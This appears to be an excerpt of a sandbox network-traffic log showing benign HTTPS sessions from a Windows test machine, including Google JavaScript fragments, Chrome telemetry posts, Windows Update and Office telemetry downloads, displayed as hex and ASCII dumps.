2024-10-30 05:16:18 UTC	1378	IN	Data Raw: 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 3a 68 28 74 68 69 73 2e 54 4a 29 7d Data Ascii: this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject:h(this.TJ)}
2024-10-30 05:16:18 UTC	1378	IN	Data Raw: 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 6b 29 7b 76 61 Data Ascii: ;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=function(h,k){va
2024-10-30 05:16:18 UTC	1378	IN	Data Raw: 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c Data Ascii: gument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for(var h=0;h<
2024-10-30 05:16:18 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 6b 2e 70 72 6f 74 6f Data Ascii: tion(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return this};k.proto
2024-10-30 05:16:18 UTC	1378	IN	Data Raw: 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 2e 73 69 7a 65 3d 30 7d 3b 63 2e 70 Data Ascii: ){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this.size=0};c.p
2024-10-30 05:16:18 UTC	1378	IN	Data Raw: 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 74 75 72 6e 21 31 3b 66 3d 65 2e Data Ascii: typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)return!1;f=e.
2024-10-30 05:16:19 UTC	1378	IN	Data Raw: 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 29 3a 28 65 2d 3d 36 35 35 33 36 Data Ascii: a("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(e):(e-=65536

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49749	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:19 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-30 05:16:19 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=27560 Date: Wed, 30 Oct 2024 05:16:19 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-30 05:16:19 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49751	142.250.185.110	443	7756	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:19 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 05:16:19 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 32 36 35 33 37 37 31 31 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730265377110",null,null,null,
2024-10-30 05:16:19 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=mrNdKtoBloVR6HcM19BMYm_VgBeP5IhPSModLffMCibK8jfIm_kVEUqjwycKSf3AptfTHue1xSbpirntlEPrC5Mhrd_HQP03LtJncYvK4TWMZs0yj0AUYeHSLxtlHtppbjXfsn9uwcSATva4IFitdmad1jYKG72kxm1CT3H9F8RpJsUlDfQ; expires=Thu, 01-May-2025 05:16:19 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Wed, 30 Oct 2024 05:16:19 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Wed, 30 Oct 2024 05:16:19 GMT Connection: close Transfer-Encoding: chunked
2024-10-30 05:16:19 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-30 05:16:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49748	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:19 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Gx+4pGbfeS8V37r&MD=+Lbp86L5 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-30 05:16:20 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: a5031811-02e8-4b82-8ed7-27a9184e2bd8 MS-RequestId: 5ebe2801-52c1-4d89-9539-1a0eeca1ad50 MS-CV: BKkxiUs+CEaWZhfX.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 30 Oct 2024 05:16:19 GMT Connection: close Content-Length: 24490
2024-10-30 05:16:20 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-30 05:16:20 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49759	142.250.185.110	443	7756	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:22 UTC	923	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 918 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=mrNdKtoBloVR6HcM19BMYm_VgBeP5IhPSModLffMCibK8jfIm_kVEUqjwycKSf3AptfTHue1xSbpirntlEPrC5Mhrd_HQP03LtJncYvK4TWMZs0yj0AUYeHSLxtlHtppbjXfsn9uwcSATva4IFitdmad1jYKG72kxm1CT3H9F8RpJsUlDfQ
2024-10-30 05:16:22 UTC	918	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 32 36 35 33 37 39 34 31 34 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730265379414",null,null,null,
2024-10-30 05:16:22 UTC	945	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=ZWOusR1Xv49BZP9lH8f3aU5mp0prlYoL5cPTXr2n6q92Q3rYn4MHNhi-kghDCtGUq_0GeNy7znRBjyWqa1yQ8wLMIUZMqWThHVM0nWqyV2iDxPc1OB13Bb43qxDvvDJ6xarz6E8dM38pejB7gY6Q-Os1Q7nwTS7Ot6RdzZ3GpAOvlbNg3ZkPksSC_NU; expires=Thu, 01-May-2025 05:16:22 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Wed, 30 Oct 2024 05:16:22 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Wed, 30 Oct 2024 05:16:22 GMT Connection: close Transfer-Encoding: chunked
2024-10-30 05:16:22 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-30 05:16:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:16:56 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:16:56 UTC	540	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:56 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: acfedf75-801e-002a-2768-2931dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051656Z-r197bdfb6b46krmwag4tzr9x7c00000007dg0000000085bf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:16:56 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
